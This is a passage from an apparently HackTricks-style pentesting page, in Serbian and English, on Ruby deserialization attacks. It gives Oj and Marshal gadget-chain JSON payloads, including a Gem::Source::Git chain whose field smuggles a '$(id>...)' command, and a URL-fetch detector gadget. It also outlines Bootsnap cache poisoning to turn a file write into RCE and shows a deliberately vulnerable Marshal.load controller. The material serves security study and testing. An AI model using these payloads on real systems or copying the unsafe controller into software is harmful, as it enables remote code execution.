simple = SimpleClass.new("open -a calculator") # command for macOS
|
||
json_payload = Oj.dump(simple)
|
||
puts json_payload
|
||
|
||
# Sink vulnerable inside the code accepting user input as json_payload
|
||
Oj.load(json_payload)
|
||
```
|
||
U slučaju pokušaja zloupotrebe Oj, bilo je moguće pronaći gadget klasu koja u svojoj `hash` funkciji poziva `to_s`, koja zatim poziva spec, koja poziva fetch_path; to je omogućavalo da se natera da preuzme nasumičan URL, što predstavlja odličan detektor ovakvih unsanitized deserialization vulnerabilities.
|
||
```json
|
||
{
|
||
"^o": "URI::HTTP",
|
||
"scheme": "s3",
|
||
"host": "example.org/anyurl?",
|
||
"port": "anyport",
|
||
"path": "/",
|
||
"user": "anyuser",
|
||
"password": "anypw"
|
||
}
|
||
```
|
||
Pored toga, utvrđeno je da se prethodnom tehnikom u sistemu kreira i direktorijum, što je preduslov za zloupotrebu drugog gadgeta kako bi se ovo transformisalo u potpunu RCE uz nešto poput:
|
||
```json
|
||
{
|
||
"^o": "Gem::Resolver::SpecSpecification",
|
||
"spec": {
|
||
"^o": "Gem::Resolver::GitSpecification",
|
||
"source": {
|
||
"^o": "Gem::Source::Git",
|
||
"git": "zip",
|
||
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
|
||
"root_dir": "/tmp",
|
||
"repository": "anyrepo",
|
||
"name": "anyname"
|
||
},
|
||
"spec": {
|
||
"^o": "Gem::Resolver::Specification",
|
||
"name": "name",
|
||
"dependencies": []
|
||
}
|
||
}
|
||
}
|
||
```
|
||
Check for more details in the [**original post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
||
|
||
### Bootstrap Caching
|
||
|
||
Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete [original post in here](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
|
||
|
||
Below is a short summary of the steps detailed in the article for exploiting an arbitrary file write vulnerability by abusing Bootsnap caching:
|
||
|
||
- Identify the Vulnerability and Environment
|
||
|
||
Rails aplikacija ima funkcionalnost za upload fajlova koja omogućava napadaču da proizvoljno upisuje fajlove. Iako aplikacija radi sa ograničenjima (samo određeni direktorijumi kao tmp su upisivi zbog Docker-ovog non-root korisnika), to i dalje dozvoljava upis u Bootsnap cache direktorijum (obično pod tmp/cache/bootsnap).
|
||
|
||
- Understand Bootsnap’s Cache Mechanism
|
||
|
||
Bootsnap ubrzava Rails boot time keširanjem kompajliranog Ruby koda, YAML i JSON fajlova. Čuva cache fajlove koji uključuju cache key header (sa poljima kao što su Ruby version, file size, mtime, compile options, itd.) nakon čega sledi kompajlirani kod. Ovaj header se koristi za validaciju cache-a tokom pokretanja aplikacije.
|
||
|
||
- Gather File Metadata
|
||
|
||
Napadač prvo izabere ciljnu datoteku koja se verovatno učitava tokom Rails startup-a (na primer, set.rb iz Ruby standardne biblioteke). Izvršavanjem Ruby koda unutar containera izvlače se ključni metadata (kao RUBY_VERSION, RUBY_REVISION, size, mtime, i compile_option). Ovi podaci su neophodni za izradu validnog cache key-a.
|
||
|
||
- Compute the Cache File Path
|
||
|
||
Replikujući Bootsnap-ov FNV-1a 64-bit hash mehanizam, određuje se tačan put cache fajla. Ovaj korak osigurava da je maliciozni cache fajl postavljen upravo tamo gde Bootsnap očekuje (npr. pod tmp/cache/bootsnap/compile-cache-iseq/).
|
||
|
||
- Craft the Malicious Cache File
|
||
|
||
Napadač priprema payload koji:
|
||
|
||
- Izvršava proizvoljne komande (na primer, pokretanje id da prikaže informacije o procesu).
|
||
- Uklanja maliciozni cache nakon izvršenja da bi se izbegla rekurzivna eksploatacija.
|
||
- Učitava originalni fajl (npr. set.rb) da se aplikacija ne sruši.
|
||
|
||
Ovaj payload se kompajlira u binarni Ruby kod i konkatenira sa pažljivo konstruisanim cache key header-om (koristeći prethodno prikupljene metadata i ispravnu verziju za Bootsnap).
|
||
|
||
- Overwrite and Trigger Execution
|
||
Korišćenjem arbitrarnog file write vuln-a, napadač upisuje kreirani cache fajl na izračunatu lokaciju. Zatim izaziva restart servera (npr. pisanjem u tmp/restart.txt, koji Puma nadgleda). Tokom restart-a, kada Rails require-uje ciljanu datoteku, maliciozni cache fajl se učitava, što dovodi do remote code execution (RCE).
|
||
|
||
|
||
|
||
### Ruby Marshal exploitation in practice (updated)
|
||
|
||
Treat any path where untrusted bytes reach `Marshal.load`/`marshal_load` as an RCE sink. Marshal reconstructs arbitrary object graphs and triggers library/gem callbacks during materialization.
|
||
|
||
|
||
- Minimal vulnerable Rails code path:
|
||
```ruby
|
||
class UserRestoreController < ApplicationController
|
||
def show
|
||
user_data = params[:data]
|
||
if user_data.present?
|
||
deserialized_user = Marshal.load(Base64.decode64(user_data))
|
||
render plain: "OK: #{deserialized_user.inspect}"
|
||
else
|
||
render plain: "No data", status: :bad_request
|
||
end
|
||
end
|
||
end
|
||
```
|
||
- Uobičajene gadget classes viđene u real chains: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`.
|
||
- Tipičan marker sporednog efekta ugrađen u payloads (izvršava se tokom unmarshal):
|
||
```
|
||
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
|
||
```
|
||
Gde se pojavljuje u realnim aplikacijama:
|
||
- Rails cache stores i session stores koji su istorijski koristili Marshal
|
||
- Backend-i za background job-ove i skladišta objekata zasnovana na fajlovima
|
||
- Bilo koja prilagođena perzistencija ili prenos binarnih object blob-ova
|
||
|
||
Industrializovano otkrivanje gadget-a:
|
||
- Grep za konstruktore, `hash`, `_load`, `init_with`, ili metode sa sporednim efektima koje se pozivaju tokom unmarshal
|
||
- Koristite CodeQL-ove Ruby unsafe deserialization upite da pratite sources → sinks i izvučete gadget-e
|
||
- Validirajte pomoću javnih multi-format PoCs (JSON/XML/YAML/Marshal)
|
||
|
||
|
||
## References
|
||
|
||
- Trail of Bits – Marshal madness: Kratka istorija Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
|
||
- elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
|
||
- Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
|
||
- CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
|
||
- ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
|
||
- Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
|
||
- GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
|
||
- GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
|
||
- Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
|
||
- Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
|
||
- Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
|
||
- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
|
||
- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
|
||
- Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
|
||
- watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|